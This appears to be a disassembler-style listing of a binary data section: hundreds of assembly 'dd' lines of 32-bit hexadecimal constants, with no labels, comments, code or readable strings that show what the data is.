		dd 954D350Dh, 0F49EE4Fh, 33D5A218h, 962347A0h, 0F5001043h
		dd 0CE9AECEFh, 0E6F0FB4Ch, 69D00EBh, 3B482C19h,	0D8001F70h
		dd 4A2439D3h, 7AD00C71h, 25D600D7h, 0B972ACEBh,	50005A6Fh
		dd 0D43F7C59h, 3D2AF0h,	1C7FA841h, 7168A2C3h, 25D76D00h
		dd 1867CA8Eh, 8BC80088h, 0E5FE3DDBh, 0B90049FCh, 4EA47524h
		dd 3F3138A2h, 19802313h, 290E4DDFh, 8009CD1h, 6F9451A6h
		dd 33E520h, 4E67C41Ah, 666B2CE2h, 0C3EB4F00h, 0BCFA3670h
		dd 192FA9Eh, 3B3A297Dh,	21DE285Bh, 8A7EFCD1h, 1F476500h
		dd 85AED0C2h, 0E7380006h, 3F0B3455h, 6700F013h,	48A3AD20h
		dd 7C866459h, 0B48150A0h, 833D0091h, 8408F278h,	9D00A543h
		dd 822BE6D9h, 1C2168Fh,	0DFE4949Bh, 0FCCE1097h,	0C614FA01h
		dd 80E471F4h, 12837B54h, 0AB1A00A3h, 0BF4ADFD8h, 0A1006209h
		dd 0CCFBA4Fh, 78709C84h, 0A7100096h, 47E22F19h,	26FED23Fh
		dd 0A0E2218h, 98FD0B18h, 397900D1h, 722F42DBh, 84072CD9h
		dd 9BC4BCC6h, 70DCAD10h, 0BE9A00ACh, 16A5E58Eh,	60F83CDBh
		dd 9CAF5E01h, 0BF0EF71Ch, 28A970D0h, 0E6B0C1D5h, 0F03D26EEh
		dd 0D25D0073h, 54D34BE7h, 0A1F92400h, 0C7ADE929h, 500D0043h
		dd 9EDB1070h, 3B24C588h, 5F00789Dh, 0A686C6DEh,	0B5303C67h
		dd 85D04300h, 612E8FFh,	90F8D06h, 0A8C07Ah, 0D281DB29h
		dd 538A9FFCh, 0C20D9A00h, 3C785143h, 0D2615CD7h, 0D0418700h
		dd 3137565Dh, 54C2DB03h, 0F05B014Ch, 0F02F85Eh,	0BB213CF3h
		dd 7606CE5Fh, 54D8E9C0h, 121DF9B5h, 3EC1F74Fh, 0F15CB98Ch
		dd 0C0BDEFC4h, 0E0C01B80h, 92FED387h, 0E1985400h, 0CC480B9Dh
		dd 29400F2h, 31C1E55Fh,	0AF01AE21h, 0DF827B8Ah,	6EF05A2Ah
		dd 1CA900D5h, 8EE37D4Bh, 0E4007123h, 97FA7090h,	160D734h
		dd 0B687ABDBh, 0C0103C53h, 4000461Dh, 0E7C41574h, 1F9C5644h
		dd 130302h, 32EC4B51h, 1898B1E4h, 12C91B00h, 3708D674h
		dd 679A5C28h, 0FA9DEA00h, 5B51498Dh, 0A9007EEEh, 27AD3D61h
		dd 185B4B5h, 0C057348Ah, 319429A5h, 0B09E4006h,	0A078767Eh
		dd 0B259C703h, 0C8D2EA8Ch, 558527h, 296BCA9Fh, 0F2543C6Fh
		dd 93B4E4F7h, 2E91DC00h, 43DF8421h, 0D0362C53h,	5AED0074h
		dd 4EA1504Bh, 0B2035Ch,	7D683AE8h, 5873C790h, 0F8070BC4h
		dd 6E1E09h, 2A9263ADh, 2EE4BB00h, 0CC34CEE1h, 55EC0025h
		dd 9C408E21h, 8C07E6C8h, 5A87EB52h, 9BD35960h, 36FF0044h
		dd 8578E1B6h, 680098E2h, 0DC694F90h, 9F6EBFC0h,	0CF000058h
		dd 887ECA5Ch, 3FB7E563h, 0E860D45Bh, 4E601791h,	0B4BAE700h
		dd 0D5134B69h, 652B00F0h, 7747E53Fh, 420E07CAh,	207BD380h
		dd 1D858A3Eh, 6F6E0066h, 0D65D9269h, 0D7E02B4Ah, 0B94F8814h
		dd 914200EEh, 117828C3h, 9EBB5C02h, 21BE2400h, 0FDCA9A1Dh
		dd 0BA4722Eh, 0F3655B01h, 0C6706C97h, 606600C3h, 0FC7859EBh
		dd 7F3AFD4Fh, 8E820058h, 449543F8h, 78B6757Ah, 0D33550B4h
		dd 0BC281414h, 0DE00DCB1h, 4DF1F382h, 0FB00A6F0h, 0EE4B71D4h
		dd 0B8FAA5h, 2DB27E44h,	0F81EED1Ah, 32E30F00h, 10CAC86Ch
		dd 0BC3600F7h, 5B1FF26Bh, 0E007547Bh, 0B6236173h, 0FF8A034Eh
		dd 966E88EBh, 62270198h, 28A4F4FAh, 0DC9EC4D5h,	0A01BEE01h
		dd 99FDE348h, 90B926C8h, 71420093h, 0C3F4083Ch,	9A0011FAh
		dd 0F65BD56Ch, 0E75A0A4h, 72E8EE9Bh, 238749A7h,	81C07C7Fh
		dd 0BA00B702h, 0BCF5F89Ch, 516260h, 1CD7355h, 0DA9EEACBh
		dd 1A942601h, 1268B740h, 6C2D90E3h, 5D9A0044h, 0DE71F86Eh
		dd 4F00574Bh, 0D980DFC2h, 73953Ch, 0AF1BED22h, 0F7D05EBAh
		dd 98047100h, 0C52757FBh, 0D6E8009Eh, 0BFDB0EC0h, 3900C368h
		dd 637DF610h, 8D1FC4h, 7F2F3D47h, 2C2492B6h, 5C1CC7FEh
		dd 9AB0E1FFh, 132D70h, 0E3F38FD6h, 0AF2B752Fh, 0B71F617Ah
		dd 0C0CBF73Eh, 0B67C0030h, 8CE506h, 0A86D2E63h,	26D479A4h
		dd 213DC13h, 0A041990Ah, 1DC0C19Ch, 0AB244F38h,	0D9B20103h
		dd 0E151D7F5h, 5F002006h
		dd 50F08700h, 990D955Bh, 0EE89263h, 5313CBE9h, 5E18ACE0h
		dd 643BB69Dh, 8CAF0750h, 1DC0A2B1h, 0F0823241h,	0D50A00E5h
		dd 0A99156E4h, 0A6074804h, 8DBB55FFh, 0F6C072E0h, 4D4B0624h
		dd 0F02395E3h, 570DB20Ch, 5F719Dh, 0DD6BF0CFh, 873EFFB0h
		dd 7F0D1314h, 0D5E10010h, 485B1DF3h, 9AAA2802h,	23960854h
		dd 0FE00BA53h, 0FAF5D2E1h, 76B000D6h, 0DC406BFBh, 9F1E0F54h
		dd 9A9FA3DEh, 0A7F38C00h, 69AD23h, 0F95B4BD2h, 4C834A25h
		dd 0C3ABDE1Ch, 97C20340h, 20E5423Fh, 82759EF1h,	4FEF22Bh
		dd 8CF92973h, 616E504h,	102BAEB0h, 0E128097Fh, 0F10704DCh
		dd 83372D66h, 0EB452957h, 74CA1C10h, 78A22E02h,	936E198Dh
		dd 0C180E20h, 4A400E62h, 0E278EE04h, 498FF68h, 86165032h
		dd 0CD48FC18h, 0D369C499h, 19717832h, 31CA232h,	0A9909075h
		dd 50815644h, 0A87CA043h, 0A2E66B60h, 71043008h, 690E06C5h
		dd 81E9B72Dh, 0C8A9FF34h, 821C0411h, 8C3A1EEBh,	0A83608B4h
		dd 0DF235F0Ch, 644C2A29h, 777F806Ah, 0B758508Ah, 1EC200A3h
		dd 0EECC5F51h, 9714FB56h, 7870FFD1h, 0FFD543Ah,	86B8B764h
		dd 8508B4A8h, 5F0468FCh, 67C9D158h, 5A3B10ABh, 661940B4h
		dd 5F00387Fh, 77526C50h, 1F58E844h, 2A871Ch, 0B7A0899Ch
		dd 857BAED9h, 2D73011Bh, 86DAF018h, 20F31826h, 172A2806h
		dd 0C008A36Fh, 906C09C9h, 0DA871C8Ch, 8462039Bh, 0B0BF4E79h
		dd 0D1619C92h, 0A7387560h, 606B4F54h, 866D715Ah, 0D9034301h
		dd 3187FD06h, 0A169387Bh, 48B71A1Bh, 0DBCF73C0h, 87DE1C1Ch
		dd 383FA9C6h, 33501F08h, 0A43AC182h, 87BD049Fh,	0C7D690A0h
		dd 0C0460388h, 810246Ch, 56013851h, 8A4B172Dh, 3949992Ah
		dd 26E0EC09h, 143F00C7h, 798FDE22h, 0AE00FC18h,	908D4F43h
		dd 3C638171h, 4200FF6Ch, 92824E33h, 55342BE8h, 904B12D8h
		dd 9B0402B3h, 0A98C8153h, 0E980FC3Bh, 0D3AF1CF3h, 71BF69Eh
		dd 0C0895291h, 0EFDA5Ah, 1D48D4Bh, 0B878C09Fh, 0BA5F403h
		dd 1E902391h, 0AAED828h, 8FC0E894h, 1E16D11Ch, 0C85C067h
		dd 4BDBC09Eh, 40899803h, 109AB5D4h, 668A4830h, 86AE1h
		dd 7C44BE3Ah, 99CCD54h,	1DCCC53Ah, 83801A47h, 106FE95h
		dd 0BD10A0C2h, 909D06D0h, 0A19E28A1h, 0A844F3h,	172E42ACh
		dd 7B0163D2h, 16F1C8CDh, 72F425B7h, 2898A0C9h, 0AF01121Dh
		dd 90000A5Bh, 0B0E8A8h,	0DF291DEFh, 17154914h, 76E4B89Fh
		dd 4FF18060h, 29FFF278h, 42B8D7AFh, 36193E93h, 9E713010h
		dd 6CF69C1Fh, 2E451F00h, 428880h, 737D1397h, 0D243C17Fh
		dd 0E2ABA207h, 9DF6D689h, 0F8A10058h, 65BF9FFCh, 2B1D0B97h
		dd 0B281C01Ah, 0D671F94Bh, 78101BECh, 0A6A00C80h, 60C8674Ah
		dd 1D9E1F60h, 40BCA70h,	0A67844AFh, 0F450925Fh,	0E49F720h
		dd 0A90921Ah, 7D0105ADh, 7C41AF90h, 0E6B8479Fh,	0B807309Eh
		dd 1D5A4F18h, 0DC948404h, 72FAD801h, 80D0E509h,	88CA5DEh
		dd 630F8FE7h, 3043087Fh, 0BDF938E1h, 3078AB30h,	0F9814BAAh
		dd 49DF1820h, 0EC63090h, 2CA029B0h, 0D14A465h, 204C9FC3h
		dd 0AC011456h, 13206025h, 91D7D630h, 0E6B61Dh, 0FC307ACFh
		dd 0A5A19FBh, 4D684966h, 489141h, 9EFAE241h, 17317BCEh
		dd 421CB1B9h, 5B992988h, 45FACA81h, 7983269Fh, 0B4E117Ch
		dd 81581044h, 0AE3783Ah, 4833D68Dh, 88B77B40h, 2B0400C1h
		dd 0DCFBEBD1h, 0D200795Ah, 0CFCE99C8h, 7C189F6h, 41ED276Dh
		dd 4660FC7Bh, 1D4F048h,	4FA19ADCh, 0E2CFEBFEh, 578645Bh
		dd 0A2731FF5h, 0F694420Ah, 0B08E8243h, 4108213Eh, 0B1F11A33h
		dd 6CC13480h, 0A9C01955h, 0A2D19D92h, 1B990BD3h, 0C087EECAh
		dd 4C0BE7Ch, 6873757Ah,	2A0C2648h, 11C8CB1h, 982106E2h
		dd 57F60853h, 81ED1730h, 83DC9DAh, 596F6114h, 9BD3DC81h
		dd 0C1E1568Dh, 0EC6D020h, 0F6E14F99h, 91145001h, 3EC82395h
		dd 1F2D06EDh, 1022BDh, 123DBE64h, 4266F76Ch, 8C05A9A2h
		dd 1898409Bh, 8F5AD2B3h, 7C323F01h, 0A5FB124Bh,	4C5CA880h
		dd 77BA96FDh, 6AA9AC1Fh, 5834BBC7h, 59753CB1h, 32E465FDh
		dd 1E5782Ch, 0FE0676ECh, 0E0F59984h, 0D3029454h, 85C6F26Eh
		dd 6FBCA568h, 438A44Ah,	0D7F002FFh, 743DC3B8h, 49C83424h
		dd 5FFF9903h, 0EF2FE001h, 0D5E10E71h, 0BAE0449Bh, 1F88ABC6h
		dd 99D22303h, 115CED36h, 586B1428h, 1D2962C4h, 0E8722280h
		dd 0E0FD7B21h, 41428807h, 61E252Ah, 29189D28h, 222E9022h
		dd 0FA224D94h, 3CD050E7h, 9411EF34h, 0DCA61158h, 19AE010h
		dd 0BED89BEEh, 89619D29h, 0DF3C4122h, 0CC2994B4h, 50EB1150h
		dd 19DA0E11h, 80299DDEh, 0C0AA519Fh, 22D20C3Dh,	7B7C1160h
		dd 0CCE8E407h, 0E5D0D458h, 0E08EE8Bh, 66D84236h, 4B3B8600h
		dd 0F800B05Bh, 9D6A542Fh, 0E1D83BEh, 0FA7FADE1h, 191C6F80h
		dd 0DE005147h, 0C03924BAh, 7BC9C862h, 0E67F0776h, 3E0ED904h
		dd 3E0EAEEh, 9688CE2Eh,	98219A00h, 0E98A29E3h, 47743B05h
		dd 0E7D9F0Fh, 2415B060h, 65F2A7B2h, 0CBD1AD05h,	0A080F123h
		dd 1E5AC6A6h, 0F24A49h,	47FF4105h, 4F0484BBh, 0DE24636Eh
		dd 29C51880h, 0E055EAC8h, 0C91C00C4h, 0E914F03Ah, 0B200AF09h
		dd 0E6AB4E92h, 5C30C1h,	0ECD3163Fh, 62EECDA3h, 2F7B1C1Eh
		dd 61E7D0C0h, 24837D86h, 48A9AEh, 0B85ABADFh, 4500CC9Eh
		dd 41A621DCh, 62D368h, 2E81380Fh, 0A3036F85h, 153E5A03h
		dd 0D06A5025h, 3DBEBBE7h, 2D00846Dh, 32612CACh,	3006C8Bh
		dd 1353E3A1h, 0A7EC9Bh,	5A34F6BFh, 5257D10Fh, 0B489703h
		dd 8143375Fh, 1AC88ED4h, 55150E83h, 73C0D2D9h, 76B9FEE7h
		dd 161B9F00h, 470F45D0h, 0D4FD00E4h, 28FB323Bh,	1C7FA117h
		dd 0DAF5D900h, 0CA8DCD0Ah, 20BDF5ADh, 0A93A6B00h, 5EB55093h
		dd 0EDF0200h, 2280D0A2h, 0AB4F0591h, 0C32AE418h, 8DA8EFD4h
		dd 660087A1h, 22BC9523h, 1FF9B0D6h, 404D6F5Eh, 5B559CE2h
		dd 2312E140h, 0DC0092E0h, 0E5E33F72h, 1171001Eh, 6D1F4E8Ch
		dd 0DEE4FA50h, 3D16000h, 0B4CD16B1h, 82F7014Ch,	3E082464h
		dd 6DAF2087h, 294EDD00h, 0EBF3A831h, 1D2F00E1h,	0F5BDFB17h
		dd 0B9798404h, 28BC6700h, 6E922579h, 0C7D20F44h, 176043D7h
		dd 6D8215FAh, 1F1C4700h, 0F8CFCA7Ah, 0B610C074h, 0D1C8F5A2h
		dd 7E7DBE1Ch, 0FC68B0DEh, 21B50200h, 0B6450F30h, 7A840065h
		dd 162ABEA4h, 5F3EBFAEh, 3D0A0218h, 0A0B03A25h,	0D3008F4h
		dd 950C00E3h, 0D8B58964h, 4903E9B8h, 78C6FBCDh,	47759891h
		dd 2A8B003Dh, 6E525AA4h, 0DC72A00Dh, 80307D38h,	794129B8h
		dd 42C267h, 1F82C550h, 15A38544h, 0AEC4611Ch, 6800FEBEh
		dd 8C483339h, 31C697Bh,	4BBD5001h, 52C310EDh, 31279FE0h
		dd 30D8EB0Ah, 813CEC79h, 0A063B415h, 0FC40EAA4h, 5812BE6Fh
		dd 1C00A8CCh, 73147B60h, 5B008271h, 0E8467636h,	185C40h
		dd 81DAD80h, 57E004B6h,	37229700h, 7B5FEFCAh, 5852607Ch
		dd 614805AAh, 0BE00EBB8h, 540214D1h, 58C97Fh, 85FEF89Dh
		dd 0D9CDDC24h, 0F4F13Dh, 8F0E42FCh, 0CFE7BAh, 0DB9F07A7h
		dd 88D4AE94h, 43EA2B00h, 15D8F446h, 5B440009h, 9A91A5B4h
		dd 0B8008504h, 0CA9BFDA9h, 37C99D5h, 501511A1h,	31A84A03h
		dd 220060DAh, 0A78619C8h, 5B882C2Dh, 3EC34h, 0F9E5F49Eh
		dd 13B75Dh, 4C38930Bh, 0B1650407h, 0F2A74109h, 790B8A59h
		dd 0D9DFBB00h, 963E23h
		dd 0D7468F5Eh, 1681533h, 0D0FE1F90h, 0E613C200h, 8439BA34h
		dd 0A3CC0EDDh, 0A43A5DEh, 0C380A69Ch, 60070A0h,	17C828Eh
		dd 1D2316ECh, 0DB33DDh,	0A07D4944h, 0AC00D7E6h,	0F7F3BE39h
		dd 131DFE5h, 0AEF8204Fh, 0F0017DAFh, 0A0E77C9h,	20577313h
		dd 3B93D9B8h, 0E0A9006Eh, 957F21E8h, 94A896F4h,	0B930FDB3h
		dd 0AD0F285Ch, 0C7020018h, 4CA1A092h, 70283049h, 0F700E838h
		dd 1BC39367h, 13F84Bh, 0EFB9502Dh, 1CE6C669h, 0FC009CF6h
		dd 0B0D51236h, 3CAD51h,	0ACA045F1h, 0FAE254A1h,	0F2040600h
		dd 2E6FCADFh, 0ACDE4077h, 0D9747500h, 76E75CB6h, 7290033Ch
		dd 512EEBBDh, 883F97F8h, 620255E4h, 0ECBBDDCDh,	7A60C040h
		dd 0EF8009Bh, 1BA6C322h, 3B004F68h, 56025A48h, 59CB58h
		dd 0E75F21D0h, 0AF601873h, 54238300h, 0DD30A146h, 59B01Bh
		dd 0B4B8C980h, 0A4CDA255h, 46180C60h, 7095E184h, 0A54B0005h
		dd 696CF0D3h, 9303C701h, 0DBAA87E8h, 0F4CEA84Ah, 86150F6Dh
		dd 440AE12h, 6CB5CD1Dh,	0B7443700h, 29AC036Bh, 8BD30097h
		dd 0E07DFF07h, 780040FCh, 4ADC2F75h, 1C4155C2h,	8030FE31h
		dd 0CD9DC9B3h, 0CBF45BAEh, 0BEF3321Fh, 33E49F40h, 61247B4h
		dd 23ABF7D9h, 860148B9h, 102A2145h, 56F836C1h, 3B040050h
		dd 58DEED9Ah, 98132BFAh, 3200798Dh, 0BCAF296Eh,	0AB2E30BDh
		dd 0CD06538h, 39350800h, 1EA7FBD1h, 51725Fh, 8444B115h
		dd 0D5CB7B1Fh, 4D86CF00h, 6F60C783h, 4A8C00C2h,	69C5DE3Ch
		dd 78008EB0h, 38FCFE53h, 5F8A86h, 0D24ECA09h, 0F1CC3332h
		dd 0ED27B601h, 966C52F6h, 5A8CD8h, 87AEBFE3h, 47A606BDh
		dd 0FAD33Ah, 4DDE2B94h,	7BDB666Eh, 58190089h, 745295D2h
		dd 2A003545h, 9737F5AEh, 0BDD6A7h, 0C88927F1h, 0D1FA4275h
		dd 594E7A03h, 0D860AC54h, 3A4D40CBh, 0E280B6DBh, 0AFEA0EE9h
		dd 3C1C7C43h, 2300A526h, 27564DE6h, 82F500EEh, 1B04116Bh
		dd 2E76E528h, 0B5909807h, 12E07496h, 507EA943h,	0F7E6D5h
		dd 8E161D51h, 505994AEh, 988AFE0Ch, 0F2B38C3h, 0DA3B6D76h
		dd 0B85D9BE3h, 120C988h, 0F706FB00h, 4D420712h,	0C0E9007Ch
		dd 7B77311Bh, 0FB002A9Bh, 0C4C1738Ch, 0EE01C37h, 79276999h
		dd 7BFADF20h, 2AE8300Dh, 0B2910907h, 0A2B263DBh, 0B12FC08Dh
		dd 6EE42Dh, 0E2A94C9Fh,	350F1D6Ah, 5C1F4401h, 0F5479AE1h
		dd 407A419Fh, 6A989BD2h, 690384D0h, 0AB8E0DDBh,	6530B713h
		dd 0B83A5CFh, 0C459A27Ah, 162CD900h, 0C607D7E2h, 0A5B90135h
		dd 7D603F87h, 0AE5C8Ch,	0BD675313h, 5690B64Ah, 59A30800h
		dd 8731B929h, 8875002Fh, 0DB6FF980h, 6700DF27h,	6508CECh
		dd 2BDDC6h, 13B9BEEDh, 0FE74D2D8h, 806C9F38h, 0DE1FCE7Eh
		dd 73097946h, 0F633000Ch, 6FB0E881h, 8D0049A8h,	0A5B8778Eh
		dd 1C02DC82h, 404B7E1Bh, 6963D351h, 0A6F0AB91h,	0A80028B8h
		dd 79D0BD19h, 3A2E715h,	12813C47h, 5C908C96h, 6EF2B13Dh
		dd 1FBB3500h, 3F3421B8h, 0CD510EB5h, 0BAC06339h, 0A487CFE3h
		dd 0A8695401h, 5A01EC8Fh, 16B4C8h, 51752657h, 9D054918h
		dd 8714D400h, 0D1F2F9BEh, 0CC660FC4h, 1280A1FEh, 15DE7698h
		dd 18543603h, 0D7ED3B8Ah, 402D1950h, 627060h, 9EFF559h
		dd 7B2E41CEh, 0A6E4200h, 52C43DF6h, 3FF70EACh, 0F120FC38h
		dd 0E92A50C0h, 0A30034B0h, 71E4B797h, 0E004F903h, 0C6400DCh
		dd 0A94EFE15h, 571C6DACh, 2B408FC6h, 0E6BF061Bh, 5E7700A0h
		dd 88C4A3A1h, 9A70CB69h, 0C18CC600h, 0AC372134h, 1E62009Ch
		dd 5A8DC831h, 0B705C218h, 0F86B9917h, 63EBB400h, 1D162BACh
		dd 0C084DCD6h, 5145D2D1h, 0FD01E53Bh, 0AEC8A081h, 0F2D82FBCh
		dd 0F87728A5h, 103B60D7h, 44A183C0h, 84CA4E00h,	0A660C496h
		dd 0F0D006Bh, 0FDA24042h, 0EB0E4C6Dh, 0A03B77BBh, 5CCA5827h
		dd 7F110D5Dh, 2048B001h, 1B0743D7h, 0E25112EAh,	0B82C6633h
		dd 19E7Ch, 2BB6AF72h, 53E5E074h, 2ECC3B2Eh, 4E4B0600h
		dd 0BD7A5Bh, 2232D3A1h,	99DC021Eh, 30857404h, 3890F94Ch
		dd 1ACA8Ch, 0BF7E8D8Fh,	0AEEE7DD8h, 0F2002CE8h,	0F331224Ch
		dd 75D270Ch, 7F92907Ah,	0F6075391h, 0CF0F18C8h,	0B7F40A7Ch
		dd 33F3EE09h, 2F0083EAh, 0CCEBC0DEh, 1FD9F0EFh,	30CBF8Fh
		dd 8B90864Eh, 62F34E00h, 32EB5CADh, 74E4E2B6h, 5037004Bh
		dd 4017F2F8h, 1B3B25C2h, 420B0377h, 1CDBE6DAh, 0C0C41448h
		dd 76E5A443h, 6A3FCF25h, 607FFE0Ah, 60AD2C2Fh, 240E57C0h
		dd 706CE1h, 36A31BCh, 8C00CDB4h, 0CC9AE45h, 24C7CEB3h
		dd 0E030044Fh, 77E5A22Ch, 5E10DF00h, 58FDEB06h,	0E73E0343h
		dd 0F632ED6Ch, 66225BC0h, 114804EEh, 0E2690090h, 0D976D28Ch
		dd 187700B4h, 0D403BDE4h, 7F28BF1Bh, 7958F804h,	0E65B0063h
		dd 0E5FD70AEh, 44813E15h, 105C8B86h, 0A900589Fh, 0E730FB82h
		dd 79B2B82Ch, 312703AFh, 414BF3BCh, 1CA745E8h, 803D073Ch
		dd 200CD2A2h, 74C965Ah,	0BFCC8E48h, 0D5981054h,	0BB7F41F9h
		dd 0A5803E60h, 1ECEC3FDh, 0C0D609F0h, 0CDBD3567h, 0D01F50B2h
		dd 1026628Ah, 0B8B3BB0Ah, 0FAA71D40h, 52020287h, 8D78D82Dh
		dd 6DC4460h, 8A238900h,	26DE8CEEh, 38A100A9h, 667AF235h
		dd 6B3BFFC5h, 253E0E56h, 811C40CCh, 6CEF6Ah, 0C7B42676h
		dd 9D09EE2Bh, 9C0C3DF0h, 0A84B3654h, 892451D7h,	0F00C4420h
		dd 0E12E388Eh, 8055411Fh, 2A028DDDh, 4E02F128h,	24D845BEh
		dd 236B2079h, 0D500F56Ah, 0E5502103h, 5C0FF86Eh, 0E47FC5F3h
		dd 75A401FDh, 9BF59AD1h, 0E349C4AFh, 854C1A03h,	88D28287h
		dd 0BC957h, 0C3431819h,	0A67F07C4h, 0B7015FFAh,	2E9EA230h
		dd 76F046ACh, 0FB380040h, 0CCE37D51h, 0B6005B17h, 2D2BC018h
		dd 790BE9h, 3057201Dh, 2EF0B5DBh, 5468E800h, 7E3B783Dh
		dd 0A0501E4h, 363E318Eh, 41E47085h, 0F2A1B03h, 0E8BE9D3Ch
		dd 0D56AA4h, 20AE0204h,	0A7ADE9FAh, 8E00D272h, 80A9B2C0h
		dd 0DC2CBFh, 66B63014h,	0B8A3D668h, 0E6AEA200h,	0F0580693h
		dd 0B05507D9h, 5135B216h, 41B666B7h, 0E864DD95h, 0EE00015Fh
		dd 0E48C987Bh, 91F856h,	63F940DCh, 1D6D3E99h, 0E5953103h
		dd 0B0A501ADh, 0C35FD8h, 2A783349h, 0FAFCF6E2h,	9A3F51FAh
		dd 1A8F8084h, 4E980B34h, 477D0075h, 0CB5FE9Fh, 0D801DE46h
		dd 5F393DF2h, 93D0B48Ah, 6D5E00E1h, 3E57040h, 0B5003ACEh
		dd 5D38C3B3h, 335241h, 0F8EE852Bh, 56D775C6h, 8B2C050Ch
		dd 3E664Fh, 23F5119Bh, 0B117BA20h, 0E6AC675Bh, 0C0DC7B1Ch
		dd 29CBE606h, 763EF6A1h, 98DF005Dh, 0ED64C80Fh,	45153A55h
		dd 0FE933E00h, 0CD12E9C0h, 6A7F0600h, 1CAA3696h, 57B9008Ah
		dd 0CE826CFh, 710024F0h, 0C0EC0DC3h, 0FDF2B6Fh,	66F3C174h
		dd 0C7D29DA0h, 120058C2h, 450BF182h, 0FE5E3Ch, 473EE911h
		dd 8FF0A393h, 7F844B00h, 2C2A2662h, 5C94A06Eh, 0E605009Ah
		dd 9D58A40Ah, 0E17D8559h, 0AA1DEBEAh, 47C0DB61h, 0E39E1015h
		dd 59FE0077h, 6E649172h, 0F976F8F3h, 0FF70500h,	0EC61B4C9h
		dd 843F1DA4h, 3D5E38h, 0DFC71AD4h, 0BC06062Ah, 3ED26419h
		dd 0BF6B0320h, 410A4F50h, 855E07A0h, 4D37FE18h,	0DA81130h
		dd 581BBB38h, 2934C0A8h, 45F19100h, 0B31C0304h,	0B6352493h
		dd 0B2B00004h, 6C6E1E26h, 9DA370Eh, 4F39237Ah, 92E1D074h
		dd 4D6F0E45h, 42233B27h, 3801B494h, 37CB7976h, 0ED457CE9h
		dd 105BD783h, 0F61A70h
		dd 35C2C5ADh, 49ABE1E8h, 6A0120EBh, 9A11BC4h, 0F71CC0A0h
		dd 21B35F00h, 0FDC1B656h, 0B1081785h, 0DF38002Fh, 271AF4D1h
		dd 0AD205900h, 8737F6D2h, 7997008Bh, 985ED701h,	99FAA8A6h
		dd 8261F00Eh, 0B79380BBh, 7C6615h, 0AE4BC722h, 0F2199E21h
		dd 0EFC17501h, 0AE9F733h, 0E699040h, 3C1B898h, 626AA828h
		dd 57E0CF2Dh, 0ED0F9E18h, 60ECE186h, 83C8074Eh,	0EF27003Bh
		dd 0EB0C060Fh, 3500F41Fh, 86A4ACDAh, 0B9C6A5h, 0DF1804FCh
		dd 99979C52h, 83DB4095h, 0CBEC1D62h, 0D86000C0h, 0D0F4966Fh
		dd 0DE314800h, 4381F818h, 917D00B9h, 3907666Ah,	4A2473EBh
		dd 0B800CC58h, 9438E97Eh, 95F0CDh, 8C173ECCh, 0B382E26Fh
		dd 0B1B84E0Fh, 48A60C7h, 0DD5113h, 0F1A6A52Ch, 17E889E7h
		dd 0FE1A6100h, 91E1622Bh, 4C731843h, 6EF22971h,	0A436C100h
		dd 23850928h, 818C00D9h, 0E1B9CA7Fh, 9901C256h,	0F10B3AC0h
		dd 118EF0F9h, 920C3B48h, 0A900CE5Ch, 0B41FE0F4h, 10E1C9h
		dd 0D08FF91Eh, 0E3DF433Dh, 6FD5DE01h, 0C25FF622h, 0A440CB61h
		dd 485A5D8Ah, 0E80F10B5h, 5421FACCh, 40E97615h,	453855F8h
		dd 3FF00B00h, 0A76F46D9h, 0FC3F6B2h, 40C7A362h,	0F5C4003Ch
		dd 8FCC176h, 0F003072Ah, 851D9972h, 0B8C2656Fh,	0A01E521Ah
		dd 64EEC7ECh, 0BC120377h, 0F55EBE54h, 0F72BB1h,	0F85BF6h
		dd 2185A5AFh, 0F495943Ch, 8CA8750Ah, 2200F0F0h,	1E9846EFh
		dd 12D30008h, 0C954ED4Ah, 0D007967h, 48F47F2Bh,	75AD0EEBh
		dd 37463A99h, 8500CEC8h, 67FCB06Ah, 200FACEh, 8BDD6172h
		dd 13D1F2h, 0E38EEA8Ch,	0C0100948h, 0C33E4900h,	44925D1Dh
		dd 0B66B02FEh, 0CE930A7Eh, 0EA2EE0F7h, 0B44C502Bh, 8C610010h
		dd 11C37FA3h, 0BF001E59h, 0E1F41A2Ah, 7878D37Bh, 24CB01B6h
		dd 0B84984A9h, 3363F405h, 559FAD03h, 0E9D243E6h, 6083706Fh
		dd 574A10D5h, 88F130AFh, 0FE070B75h, 90958135h,	0E6CAB850h
		dd 861900D5h, 92A977EDh, 6B14B47Bh, 0C01441h, 0AEE93E59h
		dd 0EEFB194Ah, 0DE7112h, 29884734h, 0FC7735A4h,	987C9200h
		dd 91EBD21Bh, 0B6DF0AF9h, 0DC4EA2h, 54D575C4h, 0B50A29D6h
		dd 0C0FACD68h, 861B6200h, 980BC48Dh, 0F4F00151h, 615E313Bh
		dd 0BCB440B2h, 15FE01B1h, 2788A100h, 0AB983CDh,	52460499h
		dd 0C5486CE4h, 2E4C07F7h, 9236A0A6h, 685096EAh,	860716C8h
		dd 405DF1A7h, 0E4D3E900h, 0F20600A8h, 357E6DD0h, 380ECEF3h
		dd 2F45F5B8h, 0E3C9A0C5h, 0D2B06019h, 0A7880006h, 8B57F38Dh
		dd 855D3300h, 76806DB5h, 0BB1F00B1h, 41490127h,	2C001A78h
		dd 0E583847h, 812F2Dh, 4B7DBE2Ah, 9B0FF004h, 0ACC44007h
		dd 0E03C5CB1h, 1BC200E4h, 0D85033A6h, 0DA00017Eh, 0B6D5BD3Eh
		dd 5891F34h, 0F6A9C5AEh, 0F96A800Ah, 52011B9Fh,	0F7B48C5Dh
		dd 4FE080A8h, 0C26807AEh, 9222F4h, 937238DDh, 0C3009EFCh
		dd 0EDEA7CE0h, 986D6F8h, 43CDCA15h, 0AA53F501h,	12A140B3h
		dd 300C932Ah, 901A7D69h, 4D10005Dh, 2DFE0C98h, 9060A2D9h
		dd 0C4B54050h, 0CBDB0174h, 6DA8177Ah, 0DC246127h, 0AC38E9DFh
		dd 165480E4h, 934496DCh, 0E317003Bh, 6AC8CE6Bh,	0E900D1D0h
		dd 2B0190EDh, 0CFF7566h, 25173FEh, 5301A410h, 10DE6725h
		dd 56ED1FEFh, 5AE430h, 0B844DEBh, 2DAC2FAAh, 0AC5C2726h
		dd 85E43007h, 6BA0FD30h, 388238EEh, 802C600Fh, 8F10E94Ch
		dd 129C9405h, 0B8802409h, 0C0475377h, 0A4A31740h, 0C3B0A796h
		dd 6318C800h, 0FC768D9Fh, 21474D1h, 0A6BA84F7h,	5CE0052Fh
		dd 1500ADB2h, 40A8090Ch, 9AAFCEh, 0BC2C8A8Eh, 0C3B75F20h
		dd 5008498h, 457987CDh,	3D5E9Eh, 69B44A7Dh, 0AB2677B1h
		dd 0C4438003h, 0D8C18B18h, 0EA81Ah, 0B7DF420Ah,	0B5FFE4FCh
